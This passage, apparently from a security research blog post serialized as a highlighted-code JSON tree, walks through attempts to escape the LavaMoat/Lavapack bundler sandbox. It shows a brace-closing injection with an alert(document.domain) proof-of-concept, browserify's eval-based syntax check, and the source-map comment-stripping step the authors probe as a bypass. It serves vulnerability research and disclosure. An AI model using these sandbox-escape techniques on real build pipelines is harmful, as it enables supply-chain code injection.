moduleWrapperSource\n",{"type":25,"tag":271,"props":61078,"children":61079},{"class":13593,"line":14354},[61080,61084,61088,61093],{"type":25,"tag":271,"props":61081,"children":61082},{"style":16171},[61083],{"type":30,"value":44506},{"type":25,"tag":271,"props":61085,"children":61086},{"style":13625},[61087],{"type":30,"value":16213},{"type":25,"tag":271,"props":61089,"children":61090},{"style":13598},[61091],{"type":30,"value":61092},"bundleWithPrecompiledModules",{"type":25,"tag":271,"props":61094,"children":61095},{"style":13625},[61096],{"type":30,"value":27925},{"type":25,"tag":271,"props":61098,"children":61099},{"class":13593,"line":14391},[61100,61105,61109],{"type":25,"tag":271,"props":61101,"children":61102},{"style":13598},[61103],{"type":30,"value":61104},"    moduleWrapperSource",{"type":25,"tag":271,"props":61106,"children":61107},{"style":13603},[61108],{"type":30,"value":16155},{"type":25,"tag":271,"props":61110,"children":61111},{"style":17388},[61112],{"type":30,"value":61113}," `function(){\n",{"type":25,"tag":271,"props":61115,"children":61116},{"class":13593,"line":14400},[61117],{"type":25,"tag":271,"props":61118,"children":61119},{"style":17388},[61120],{"type":30,"value":61121},"      with (this.scopeTerminator) {\n",{"type":25,"tag":271,"props":61123,"children":61124},{"class":13593,"line":16406},[61125],{"type":25,"tag":271,"props":61126,"children":61127},{"style":17388},[61128],{"type":30,"value":61129},"        with (this.globalThis) {\n",{"type":25,"tag":271,"props":61131,"children":61132},{"class":13593,"line":16434},[61133],{"type":25,"tag":271,"props":61134,"children":61135},{"style":17388},[61136],{"type":30,"value":61137},"          return function() {\n",{"type":25,"tag":271,"props":61139,"children":61140},{"class":13593,"line":16447},[61141],{"type":25,"tag":271,"props":61142,"children":61143},{"style":17388},[61144],{"type":30,"value":61145},"            'use strict';\n",{"type":25,"tag":271,"props":61147,"children":61148},{"class":13593,"line":16465},[61149,61154,61158,61163],{"type":25,"tag":271,"props":61150,"children":61151},{"style":17388},[61152],{"type":30,"value":61153},"            // source: ",{"type":25,"tag":271,"props":61155,"children":61156},{"style":14289},[61157],{"type":30,"value":47221},{"type":25,"tag":271,"props":61159,"children":61160},{"style":13598},[61161],{"type":30,"value":61162},"filename",{"type":25,"tag":271,"props":61164,"children":61165},{"style":14289},[61166],{"type":30,"value":17058},{"type":25,"tag":271,"props":61168,"children":61169},{"class":13593,"line":16486},[61170],{"type":25,"tag":271,"props":61171,"children":61172},{"style":17388},[61173],{"type":30,"value":61174},"            return function (require, module, exports) {\n",{"type":25,"tag":271,"props":61176,"children":61177},{"class":13593,"line":16495},[61178],{"type":25,"tag":271,"props":61179,"children":61180},{"style":17388},[61181],{"type":30,"value":61182},"              __MODULE_CONTENT__\n",{"type":25,"tag":271,"props":61184,"children":61185},{"class":13593,"line":16744},[61186],{"type":25,"tag":271,"props":61187,"children":61188},{"style":17388},[61189],{"type":30,"value":61190},"            };\n",{"type":25,"tag":271,"props":61192,"children":61193},{"class":13593,"line":16761},[61194],{"type":25,"tag":271,"props":61195,"children":61196},{"style":17388},[61197],{"type":30,"value":21822},{"type":25,"tag":271,"props":61199,"children":61200},{"class":13593,"line":16778},[61201],{"type":25,"tag":271,"props":61202,"children":61203},{"style":17388},[61204],{"type":30,"value":16492},{"type":25,"tag":271,"props":61206,"children":61207},{"class":13593,"line":16791},[61208],{"type":25,"tag":271,"props":61209,"children":61210},{"style":17388},[61211],{"type":30,"value":25789},{"type":25,"tag":271,"props":61213,"children":61214},{"class":13593,"line":16800},[61215],{"type":25,"tag":271,"props":61216,"children":61217},{"style":17388},[61218],{"type":30,"value":61219},"    }`\n",{"type":25,"tag":26,"props":61221,"children":61222},{},[61223,61225,61231,61233,61239],{"type":30,"value":61224},"Lavapack uses ",{"type":25,"tag":264,"props":61226,"children":61228},{"className":61227},[],[61229],{"type":30,"value":61230},"with()",{"type":30,"value":61232}," proxies to restrict the objects accessible by the module, and ",{"type":25,"tag":264,"props":61234,"children":61236},{"className":61235},[],[61237],{"type":30,"value":61238},"__MODULE_CONTENT__",{"type":30,"value":61240}," is replaced by the content of a file required by the project being built.",{"type":25,"tag":247,"props":61242,"children":61244},{"id":61243},"injection-not-so-simple",[61245],{"type":30,"value":61246},"Injection? Not So Simple",{"type":25,"tag":26,"props":61248,"children":61249},{},[61250,61252,61257],{"type":30,"value":61251},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":25,"tag":264,"props":61253,"children":61255},{"className":61254},[],[61256],{"type":30,"value":25776},{"type":30,"value":61258}," environment:",{"type":25,"tag":7764,"props":61260,"children":61262},{"className":44475,"code":61261,"language":44477,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[61263],{"type":25,"tag":264,"props":61264,"children":61265},{"__ignoreMap":7},[61266,61279,61291,61303,61315,61322],{"type":25,"tag":271,"props":61267,"children":61268},{"class":13593,"line":13594},[61269,61274],{"type":25,"tag":271,"props":61270,"children":61271},{"style":13625},[61272],{"type":30,"value":61273},"   } ",{"type":25,"tag":271,"props":61275,"children":61276},{"style":14385},[61277],{"type":30,"value":61278},"// end function 1\n",{"type":25,"tag":271,"props":61280,"children":61281},{"class":13593,"line":11641},[61282,61286],{"type":25,"tag":271,"props":61283,"children":61284},{"style":13625},[61285],{"type":30,"value":44580},{"type":25,"tag":271,"props":61287,"children":61288},{"style":14385},[61289],{"type":30,"value":61290},"// end function 2\n",{"type":25,"tag":271,"props":61292,"children":61293},{"class":13593,"line":14354},[61294,61298],{"type":25,"tag":271,"props":61295,"children":61296},{"style":13625},[61297],{"type":30,"value":49314},{"type":25,"tag":271,"props":61299,"children":61300},{"style":14385},[61301],{"type":30,"value":61302},"// end with 1\n",{"type":25,"tag":271,"props":61304,"children":61305},{"class":13593,"line":14391},[61306,61310],{"type":25,"tag":271,"props":61307,"children":61308},{"style":13625},[61309],{"type":30,"value":59989},{"type":25,"tag":271,"props":61311,"children":61312},{"style":14385},[61313],{"type":30,"value":61314},"// end with 2\n",{"type":25,"tag":271,"props":61316,"children":61317},{"class":13593,"line":14400},[61318],{"type":25,"tag":271,"props":61319,"children":61320},{"emptyLinePlaceholder":18},[61321],{"type":30,"value":16829},{"type":25,"tag":271,"props":61323,"children":61324},{"class":13593,"line":16406},[61325,61329,61333,61337,61341,61345],{"type":25,"tag":271,"props":61326,"children":61327},{"style":13620},[61328],{"type":30,"value":45810},{"type":25,"tag":271,"props":61330,"children":61331},{"style":13625},[61332],{"type":30,"value":394},{"type":25,"tag":271,"props":61334,"children":61335},{"style":13598},[61336],{"type":30,"value":45820},{"type":25,"tag":271,"props":61338,"children":61339},{"style":13625},[61340],{"type":30,"value":1860},{"type":25,"tag":271,"props":61342,"children":61343},{"style":13598},[61344],{"type":30,"value":45830},{"type":25,"tag":271,"props":61346,"children":61347},{"style":13625},[61348],{"type":30,"value":16299},{"type":25,"tag":26,"props":61350,"children":61351},{},[61352,61354,61360,61362,61369],{"type":30,"value":61353},"However, when we tried to bundle it, a ",{"type":25,"tag":264,"props":61355,"children":61357},{"className":61356},[],[61358],{"type":30,"value":61359},"ParseError",{"type":30,"value":61361}," was thrown. This is because Lavapack is a plugin of ",{"type":25,"tag":83,"props":61363,"children":61366},{"href":61364,"rel":61365},"https://github.com/browserify/browserify",[9066],[61367],{"type":30,"value":61368},"browserify",{"type":30,"value":61370},", which has a syntax check before replacing the code.",{"type":25,"tag":26,"props":61372,"children":61373},{},[61374,61376,61382,61384,61390,61392,61398,61400,61405],{"type":30,"value":61375},"Looking deeper into browserify, we find it has a ",{"type":25,"tag":264,"props":61377,"children":61379},{"className":61378},[],[61380],{"type":30,"value":61381},"syntax",{"type":30,"value":61383}," stage on it's pipeline, and uses the ",{"type":25,"tag":264,"props":61385,"children":61387},{"className":61386},[],[61388],{"type":30,"value":61389},"syntax-error",{"type":30,"value":61391}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":25,"tag":264,"props":61393,"children":61395},{"className":61394},[],[61396],{"type":30,"value":61397},"pack",{"type":30,"value":61399}," stage on browserify pipeline, which comes after the ",{"type":25,"tag":264,"props":61401,"children":61403},{"className":61402},[],[61404],{"type":30,"value":61381},{"type":30,"value":61406},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":25,"tag":26,"props":61408,"children":61409},{},[61410],{"type":25,"tag":698,"props":61411,"children":61414},{"alt":61412,"src":61413},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":25,"tag":26,"props":61416,"children":61417},{},[61418,61419,61424,61426,61431],{"type":30,"value":10272},{"type":25,"tag":264,"props":61420,"children":61422},{"className":61421},[],[61423],{"type":30,"value":61389},{"type":30,"value":61425}," package performs a syntax check by using  ",{"type":25,"tag":264,"props":61427,"children":61429},{"className":61428},[],[61430],{"type":30,"value":8917},{"type":30,"value":61432}," with function hoisting:",{"type":25,"tag":7764,"props":61434,"children":61436},{"className":44475,"code":61435,"language":44477,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[61437],{"type":25,"tag":264,"props":61438,"children":61439},{"__ignoreMap":7},[61440,61452,61502,61513,61520,61541,61582,61642,61683],{"type":25,"tag":271,"props":61441,"children":61442},{"class":13593,"line":13594},[61443,61448],{"type":25,"tag":271,"props":61444,"children":61445},{"style":16171},[61446],{"type":30,"value":61447},"try",{"type":25,"tag":271,"props":61449,"children":61450},{"style":13625},[61451],{"type":30,"value":16431},{"type":25,"tag":271,"props":61453,"children":61454},{"class":13593,"line":11641},[61455,61460,61464,61469,61473,61478,61482,61487,61493,61498],{"type":25,"tag":271,"props":61456,"children":61457},{"style":13620},[61458],{"type":30,"value":61459},"    eval",{"type":25,"tag":271,"props":61461,"children":61462},{"style":13625},[61463],{"type":30,"value":394},{"type":25,"tag":271,"props":61465,"children":61466},{"style":17388},[61467],{"type":30,"value":61468},"'throw \"STOP\"; (function () { '",{"type":25,"tag":271,"props":61470,"children":61471},{"style":13603},[61472],{"type":30,"value":22025},{"type":25,"tag":271,"props":61474,"children":61475},{"style":13598},[61476],{"type":30,"value":61477}," src",{"type":25,"tag":271,"props":61479,"children":61480},{"style":13603},[61481],{"type":30,"value":22025},{"type":25,"tag":271,"props":61483,"children":61484},{"style":17388},[61485],{"type":30,"value":61486}," '",{"type":25,"tag":271,"props":61488,"children":61490},{"style":61489},"--shiki-default:#D7BA7D",[61491],{"type":30,"value":61492},"\\n",{"type":25,"tag":271,"props":61494,"children":61495},{"style":17388},[61496],{"type":30,"value":61497},"})()'",{"type":25,"tag":271,"props":61499,"children":61500},{"style":13625},[61501],{"type":30,"value":13665},{"type":25,"tag":271,"props":61503,"children":61504},{"class":13593,"line":14354},[61505,61509],{"type":25,"tag":271,"props":61506,"children":61507},{"style":16171},[61508],{"type":30,"value":30111},{"type":25,"tag":271,"props":61510,"children":61511},{"style":13625},[61512],{"type":30,"value":16165},{"type":25,"tag":271,"props":61514,"children":61515},{"class":13593,"line":14391},[61516],{"type":25,"tag":271,"props":61517,"children":61518},{"style":13625},[61519],{"type":30,"value":17058},{"type":25,"tag":271,"props":61521,"children":61522},{"class":13593,"line":14400},[61523,61528,61532,61537],{"type":25,"tag":271,"props":61524,"children":61525},{"style":16171},[61526],{"type":30,"value":61527},"catch",{"type":25,"tag":271,"props":61529,"children":61530},{"style":13625},[61531],{"type":30,"value":16213},{"type":25,"tag":271,"props":61533,"children":61534},{"style":13598},[61535],{"type":30,"value":61536},"err",{"type":25,"tag":271,"props":61538,"children":61539},{"style":13625},[61540],{"type":30,"value":27925},{"type":25,"tag":271,"props":61542,"children":61543},{"class":13593,"line":16406},[61544,61548,61552,61556,61560,61565,61569,61574,61578],{"type":25,"tag":271,"props":61545,"children":61546},{"style":16171},[61547],{"type":30,"value":25404},{"type":25,"tag":271,"props":61549,"children":61550},{"style":13625},[61551],{"type":30,"value":16213},{"type":25,"tag":271,"props":61553,"children":61554},{"style":13598},[61555],{"type":30,"value":61536},{"type":25,"tag":271,"props":61557,"children":61558},{"style":13603},[61559],{"type":30,"value":44534},{"type":25,"tag":271,"props":61561,"children":61562},{"style":17388},[61563],{"type":30,"value":61564}," 'STOP'",{"type":25,"tag":271,"props":61566,"children":61567},{"style":13625},[61568],{"type":30,"value":14406},{"type":25,"tag":271,"props":61570,"children":61571},{"style":16171},[61572],{"type":30,"value":61573},"return",{"type":25,"tag":271,"props":61575,"children":61576},{"style":14289},[61577],{"type":30,"value":52448},{"type":25,"tag":271,"props":61579,"children":61580},{"style":13625},[61581],{"type":30,"value":16165},{"type":25,"tag":271,"props":61583,"children":61584},{"class":13593,"line":16434},[61585,61589,61593,61597,61601,61606,61610,61615,61620,61625,61629,61633,61638],{"type":25,"tag":271,"props":61586,"children":61587},{"style":16171},[61588],{"type":30,"value":25404},{"type":25,"tag":271,"props":61590,"children":61591},{"style":13625},[61592],{"type":30,"value":16213},{"type":25,"tag":271,"props":61594,"children":61595},{"style":13598},[61596],{"type":30,"value":61536},{"type":25,"tag":271,"props":61598,"children":61599},{"style":13625},[61600],{"type":30,"value":1860},{"type":25,"tag":271,"props":61602,"children":61603},{"style":13598},[61604],{"type":30,"value":61605},"constructor",{"type":25,"tag":271,"props":61607,"children":61608},{"style":13625},[61609],{"type":30,"value":1860},{"type":25,"tag":271,"props":61611,"children":61612},{"style":13598},[61613],{"type":30,"value":61614},"name",{"type":25,"tag":271,"props":61616,"children":61617},{"style":13603},[61618],{"type":30,"value":61619}," !==",{"type":25,"tag":271,"props":61621,"children":61622},{"style":17388},[61623],{"type":30,"value":61624}," 'SyntaxError'",{"type":25,"tag":271,"props":61626,"children":61627},{"style":13625},[61628],{"type":30,"value":14406},{"type":25,"tag":271,"props":61630,"children":61631},{"style":16171},[61632],{"type":30,"value":61573},{"type":25,"tag":271,"props":61634,"children":61635},{"style":13598},[61636],{"type":30,"value":61637}," err",{"type":25,"tag":271,"props":61639,"children":61640},{"style":13625},[61641],{"type":30,"value":16165},{"type":25,"tag":271,"props":61643,"children":61644},{"class":13593,"line":16447},[61645,61649,61654,61658,61662,61666,61670,61674,61679],{"type":25,"tag":271,"props":61646,"children":61647},{"style":16171},[61648],{"type":30,"value":30111},{"type":25,"tag":271,"props":61650,"children":61651},{"style":13620},[61652],{"type":30,"value":61653}," errorInfo",{"type":25,"tag":271,"props":61655,"children":61656},{"style":13625},[61657],{"type":30,"value":394},{"type":25,"tag":271,"props":61659,"children":61660},{"style":13598},[61661],{"type":30,"value":45782},{"type":25,"tag":271,"props":61663,"children":61664},{"style":13625},[61665],{"type":30,"value":44},{"type":25,"tag":271,"props":61667,"children":61668},{"style":13598},[61669],{"type":30,"value":61060},{"type":25,"tag":271,"props":61671,"children":61672},{"style":13625},[61673],{"type":30,"value":44},{"type":25,"tag":271,"props":61675,"children":61676},{"style":13598},[61677],{"type":30,"value":61678},"opts",{"type":25,"tag":271,"props":61680,"children":61681},{"style":13625},[61682],{"type":30,"value":13665},{"type":25,"tag":271,"props":61684,"children":61685},{"class":13593,"line":16465},[61686],{"type":25,"tag":271,"props":61687,"children":61688},{"style":13625},[61689],{"type":30,"value":17058},{"type":25,"tag":26,"props":61691,"children":61692},{},[61693,61695,61699,61701,61707,61709,61714],{"type":30,"value":61694},"Interestingly, it ",{"type":25,"tag":10281,"props":61696,"children":61697},{},[61698],{"type":30,"value":17133},{"type":30,"value":61700}," possible to inject a ",{"type":25,"tag":264,"props":61702,"children":61704},{"className":61703},[],[61705],{"type":30,"value":61706},"}); (() => {",{"type":30,"value":61708}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":25,"tag":264,"props":61710,"children":61712},{"className":61711},[],[61713],{"type":30,"value":61230},{"type":30,"value":61715}," sandbox of Lavapack.",{"type":25,"tag":247,"props":61717,"children":61719},{"id":61718},"sourcemap-the-syntax-killer",[61720],{"type":30,"value":61721},"SourceMap: The Syntax Killer",{"type":25,"tag":26,"props":61723,"children":61724},{},[61725,61727,61734],{"type":30,"value":61726},"Lavapack has a feature to extract source maps files from the code using ",{"type":25,"tag":83,"props":61728,"children":61731},{"href":61729,"rel":61730},"https://www.npmjs.com/package/convert-source-map",[9066],[61732],{"type":30,"value":61733},"convert-source-map",{"type":30,"value":61735}," npm package:",{"type":25,"tag":7764,"props":61737,"children":61739},{"className":44475,"code":61738,"language":44477,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[61740],{"type":25,"tag":264,"props":61741,"children":61742},{"__ignoreMap":7},[61743,61767,61809,61817,61858,61899,61927],{"type":25,"tag":271,"props":61744,"children":61745},{"class":13593,"line":13594},[61746,61750,61755,61759,61763],{"type":25,"tag":271,"props":61747,"children":61748},{"style":14289},[61749],{"type":30,"value":44489},{"type":25,"tag":271,"props":61751,"children":61752},{"style":13620},[61753],{"type":30,"value":61754}," extractSourceMaps",{"type":25,"tag":271,"props":61756,"children":61757},{"style":13625},[61758],{"type":30,"value":394},{"type":25,"tag":271,"props":61760,"children":61761},{"style":13598},[61762],{"type":30,"value":51124},{"type":25,"tag":271,"props":61764,"children":61765},{"style":13625},[61766],{"type":30,"value":27925},{"type":25,"tag":271,"props":61768,"children":61769},{"class":13593,"line":11641},[61770,61774,61779,61783,61788,61792,61797,61801,61805],{"type":25,"tag":271,"props":61771,"children":61772},{"style":14289},[61773],{"type":30,"value":49300},{"type":25,"tag":271,"props":61775,"children":61776},{"style":13598},[61777],{"type":30,"value":61778}," converter",{"type":25,"tag":271,"props":61780,"children":61781},{"style":13603},[61782],{"type":30,"value":16155},{"type":25,"tag":271,"props":61784,"children":61785},{"style":13598},[61786],{"type":30,"value":61787}," convertSourceMap",{"type":25,"tag":271,"props":61789,"children":61790},{"style":13625},[61791],{"type":30,"value":1860},{"type":25,"tag":271,"props":61793,"children":61794},{"style":13620},[61795],{"type":30,"value":61796},"fromSource",{"type":25,"tag":271,"props":61798,"children":61799},{"style":13625},[61800],{"type":30,"value":394},{"type":25,"tag":271,"props":61802,"children":61803},{"style":13598},[61804],{"type":30,"value":51124},{"type":25,"tag":271,"props":61806,"children":61807},{"style":13625},[61808],{"type":30,"value":16299},{"type":25,"tag":271,"props":61810,"children":61811},{"class":13593,"line":14354},[61812],{"type":25,"tag":271,"props":61813,"children":61814},{"style":14385},[61815],{"type":30,"value":61816},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":25,"tag":271,"props":61818,"children":61819},{"class":13593,"line":14391},[61820,61824,61829,61833,61837,61841,61845,61849,61854],{"type":25,"tag":271,"props":61821,"children":61822},{"style":14289},[61823],{"type":30,"value":49300},{"type":25,"tag":271,"props":61825,"children":61826},{"style":13598},[61827],{"type":30,"value":61828}," maps",{"type":25,"tag":271,"props":61830,"children":61831},{"style":13603},[61832],{"type":30,"value":16155},{"type":25,"tag":271,"props":61834,"children":61835},{"style":13598},[61836],{"type":30,"value":61778},{"type":25,"tag":271,"props":61838,"children":61839},{"style":13603},[61840],{"type":30,"value":27306},{"type":25,"tag":271,"props":61842,"children":61843},{"style":13598},[61844],{"type":30,"value":61778},{"type":25,"tag":271,"props":61846,"children":61847},{"style":13625},[61848],{"type":30,"value":1860},{"type":25,"tag":271,"props":61850,"children":61851},{"style":13620},[61852],{"type":30,"value":61853},"toObject",{"type":25,"tag":271,"props":61855,"children":61856},{"style":13625},[61857],{"type":30,"value":20857},{"type":25,"tag":271,"props":61859,"children":61860},{"class":13593,"line":14400},[61861,61865,61870,61874,61878,61882,61887,61891,61895],{"type":25,"tag":271,"props":61862,"children":61863},{"style":14289},[61864],{"type":30,"value":49300},{"type":25,"tag":271,"props":61866,"children":61867},{"style":13598},[61868],{"type":30,"value":61869}," code",{"type":25,"tag":271,"props":61871,"children":61872},{"style":13603},[61873],{"type":30,"value":16155},{"type":25,"tag":271,"props":61875,"children":61876},{"style":13598},[61877],{"type":30,"value":61787},{"type":25,"tag":271,"props":61879,"children":61880},{"style":13625},[61881],{"type":30,"value":1860},{"type":25,"tag":271,"props":61883,"children":61884},{"style":13620},[61885],{"type":30,"value":61886},"removeComments",{"type":25,"tag":271,"props":61888,"children":61889},{"style":13625},[61890],{"type":30,"value":394},{"type":25,"tag":271,"props":61892,"children":61893},{"style":13598},[61894],{"type":30,"value":51124},{"type":25,"tag":271,"props":61896,"children":61897},{"style":13625},[61898],{"type":30,"value":16299},{"type":25,"tag":271,"props":61900,"children":61901},{"class":13593,"line":16406},[61902,61906,61910,61914,61918,61923],{"type":25,"tag":271,"props":61903,"children":61904},{"style":16171},[61905],{"type":30,"value":52309},{"type":25,"tag":271,"props":61907,"children":61908},{"style":13625},[61909],{"type":30,"value":22709},{"type":25,"tag":271,"props":61911,"children":61912},{"style":13598},[61913],{"type":30,"value":264},{"type":25,"tag":271,"props":61915,"children":61916},{"style":13625},[61917],{"type":30,"value":44},{"type":25,"tag":271,"props":61919,"children":61920},{"style":13598},[61921],{"type":30,"value":61922},"maps",{"type":25,"tag":271,"props":61924,"children":61925},{"style":13625},[61926],{"type":30,"value":22719},{"type":25,"tag":271,"props":61928,"children":61929},{"class":13593,"line":16434},[61930],{"type":25,"tag":271,"props":61931,"children":61932},{"style":13625},[61933],{"type":30,"value":17058},{"type":25,"tag":26,"props":61935,"children":61936},{},[61937,61939,61944,61946,61951],{"type":30,"value":61938},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":25,"tag":264,"props":61940,"children":61942},{"className":61941},[],[61943],{"type":30,"value":61381},{"type":30,"value":61945}," stage. Reviewing the ",{"type":25,"tag":264,"props":61947,"children":61949},{"className":61948},[],[61950],{"type":30,"value":61733},{"type":30,"value":61952}," code, we can see exactly how this happens.",{"type":25,"tag":7764,"props":61954,"children":61956},{"className":44475,"code":61955,"language":44477,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[61957],{"type":25,"tag":264,"props":61958,"children":61959},{"__ignoreMap":7},[61960,61999,62025,62033,62247,62254,62261,62268,62303,62353],{"type":25,"tag":271,"props":61961,"children":61962},{"class":13593,"line":13594},[61963,61968,61972,61977,61981,61985,61989,61994],{"type":25,"tag":271,"props":61964,"children":61965},{"style":13598},[61966],{"type":30,"value":61967},"Object",{"type":25,"tag":271,"props":61969,"children":61970},{"style":13625},[61971],{"type":30,"value":1860},{"type":25,"tag":271,"props":61973,"children":61974},{"style":13620},[61975],{"type":30,"value":61976},"defineProperty",{"type":25,"tag":271,"props":61978,"children":61979},{"style":13625},[61980],{"type":30,"value":394},{"type":25,"tag":271,"props":61982,"children":61983},{"style":13609},[61984],{"type":30,"value":50996},{"type":25,"tag":271,"props":61986,"children":61987},{"style":13625},[61988],{"type":30,"value":44},{"type":25,"tag":271,"props":61990,"children":61991},{"style":17388},[61992],{"type":30,"value":61993},"'commentRegex'",{"type":25,"tag":271,"props":61995,"children":61996},{"style":13625},[61997],{"type":30,"value":61998},", {\n",{"type":25,"tag":271,"props":62000,"children":62001},{"class":13593,"line":11641},[62002,62007,62011,62015,62020],{"type":25,"tag":271,"props":62003,"children":62004},{"style":13620},[62005],{"type":30,"value":62006},"  get",{"type":25,"tag":271,"props":62008,"children":62009},{"style":13598},[62010],{"type":30,"value":359},{"type":25,"tag":271,"props":62012,"children":62013},{"style":14289},[62014],{"type":30,"value":51324},{"type":25,"tag":271,"props":62016,"children":62017},{"style":13620},[62018],{"type":30,"value":62019}," getCommentRegex",{"type":25,"tag":271,"props":62021,"children":62022},{"style":13625},[62023],{"type":30,"value":62024}," () {\n",{"type":25,"tag":271,"props":62026,"children":62027},{"class":13593,"line":14354},[62028],{"type":25,"tag":271,"props":62029,"children":62030},{"style":14385},[62031],{"type":30,"value":62032},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":25,"tag":271,"props":62034,"children":62035},{"class":13593,"line":14391},[62036,62040,62046,62051,62056,62061,62065,62070,62075,62080,62084,62088,62093,62098,62103,62108,62112,62116,62120,62125,62129,62134,62139,62144,62149,62153,62157,62161,62165,62169,62173,62177,62181,62186,62191,62195,62200,62205,62209,62213,62217,62221,62226,62230,62234,62238,62243],{"type":25,"tag":271,"props":62037,"children":62038},{"style":16171},[62039],{"type":30,"value":30111},{"type":25,"tag":271,"props":62041,"children":62043},{"style":62042},"--shiki-default:#D16969",[62044],{"type":30,"value":62045}," /",{"type":25,"tag":271,"props":62047,"children":62048},{"style":13620},[62049],{"type":30,"value":62050},"^",{"type":25,"tag":271,"props":62052,"children":62053},{"style":62042},[62054],{"type":30,"value":62055},"\\s",{"type":25,"tag":271,"props":62057,"children":62058},{"style":61489},[62059],{"type":30,"value":62060},"*?\\/",{"type":25,"tag":271,"props":62062,"children":62063},{"style":17388},[62064],{"type":30,"value":5604},{"type":25,"tag":271,"props":62066,"children":62067},{"style":61489},[62068],{"type":30,"value":62069},"\\/\\*",{"type":25,"tag":271,"props":62071,"children":62072},{"style":17388},[62073],{"type":30,"value":62074},"][",{"type":25,"tag":271,"props":62076,"children":62077},{"style":62042},[62078],{"type":30,"value":62079},"@#",{"type":25,"tag":271,"props":62081,"children":62082},{"style":17388},[62083],{"type":30,"value":5630},{"type":25,"tag":271,"props":62085,"children":62086},{"style":62042},[62087],{"type":30,"value":62055},{"type":25,"tag":271,"props":62089,"children":62090},{"style":61489},[62091],{"type":30,"value":62092},"+?",{"type":25,"tag":271,"props":62094,"children":62095},{"style":62042},[62096],{"type":30,"value":62097},"sourceMappingURL=data:",{"type":25,"tag":271,"props":62099,"children":62100},{"style":17388},[62101],{"type":30,"value":62102},"(((?:",{"type":25,"tag":271,"props":62104,"children":62105},{"style":62042},[62106],{"type":30,"value":62107},"application",{"type":25,"tag":271,"props":62109,"children":62110},{"style":13620},[62111],{"type":30,"value":23540},{"type":25,"tag":271,"props":62113,"children":62114},{"style":62042},[62115],{"type":30,"value":30},{"type":25,"tag":271,"props":62117,"children":62118},{"style":17388},[62119],{"type":30,"value":440},{"type":25,"tag":271,"props":62121,"children":62122},{"style":61489},[62123],{"type":30,"value":62124},"\\/",{"type":25,"tag":271,"props":62126,"children":62127},{"style":62042},[62128],{"type":30,"value":47110},{"type":25,"tag":271,"props":62130,"children":62131},{"style":17388},[62132],{"type":30,"value":62133},")(?:",{"type":25,"tag":271,"props":62135,"children":62136},{"style":62042},[62137],{"type":30,"value":62138},";charset=",{"type":25,"tag":271,"props":62140,"children":62141},{"style":17388},[62142],{"type":30,"value":62143},"([^",{"type":25,"tag":271,"props":62145,"children":62146},{"style":62042},[62147],{"type":30,"value":62148},";,",{"type":25,"tag":271,"props":62150,"children":62151},{"style":17388},[62152],{"type":30,"value":5630},{"type":25,"tag":271,"props":62154,"children":62155},{"style":61489},[62156],{"type":30,"value":62092},{"type":25,"tag":271,"props":62158,"children":62159},{"style":17388},[62160],{"type":30,"value":440},{"type":25,"tag":271,"props":62162,"children":62163},{"style":61489},[62164],{"type":30,"value":5632},{"type":25,"tag":271,"props":62166,"children":62167},{"style":17388},[62168],{"type":30,"value":440},{"type":25,"tag":271,"props":62170,"children":62171},{"style":61489},[62172],{"type":30,"value":5632},{"type":25,"tag":271,"props":62174,"children":62175},{"style":17388},[62176],{"type":30,"value":440},{"type":25,"tag":271,"props":62178,"children":62179},{"style":61489},[62180],{"type":30,"value":5632},{"type":25,"tag":271,"props":62182,"children":62183},{"style":17388},[62184],{"type":30,"value":62185},"(?:",{"type":25,"tag":271,"props":62187,"children":62188},{"style":62042},[62189],{"type":30,"value":62190},";",{"type":25,"tag":271,"props":62192,"children":62193},{"style":17388},[62194],{"type":30,"value":394},{"type":25,"tag":271,"props":62196,"children":62197},{"style":62042},[62198],{"type":30,"value":62199},"base64",{"type":25,"tag":271,"props":62201,"children":62202},{"style":17388},[62203],{"type":30,"value":62204},"))",{"type":25,"tag":271,"props":62206,"children":62207},{"style":61489},[62208],{"type":30,"value":5632},{"type":25,"tag":271,"props":62210,"children":62211},{"style":62042},[62212],{"type":30,"value":407},{"type":25,"tag":271,"props":62214,"children":62215},{"style":17388},[62216],{"type":30,"value":394},{"type":25,"tag":271,"props":62218,"children":62219},{"style":62042},[62220],{"type":30,"value":1860},{"type":25,"tag":271,"props":62222,"children":62223},{"style":61489},[62224],{"type":30,"value":62225},"*?",{"type":25,"tag":271,"props":62227,"children":62228},{"style":17388},[62229],{"type":30,"value":440},{"type":25,"tag":271,"props":62231,"children":62232},{"style":13620},[62233],{"type":30,"value":23412},{"type":25,"tag":271,"props":62235,"children":62236},{"style":62042},[62237],{"type":30,"value":7621},{"type":25,"tag":271,"props":62239,"children":62240},{"style":14289},[62241],{"type":30,"value":62242},"mg",{"type":25,"tag":271,"props":62244,"children":62245},{"style":13625},[62246],{"type":30,"value":16165},{"type":25,"tag":271,"props":62248,"children":62249},{"class":13593,"line":14400},[62250],{"type":25,"tag":271,"props":62251,"children":62252},{"style":13625},[62253],{"type":30,"value":19003},{"type":25,"tag":271,"props":62255,"children":62256},{"class":13593,"line":16406},[62257],{"type":25,"tag":271,"props":62258,"children":62259},{"style":13625},[62260]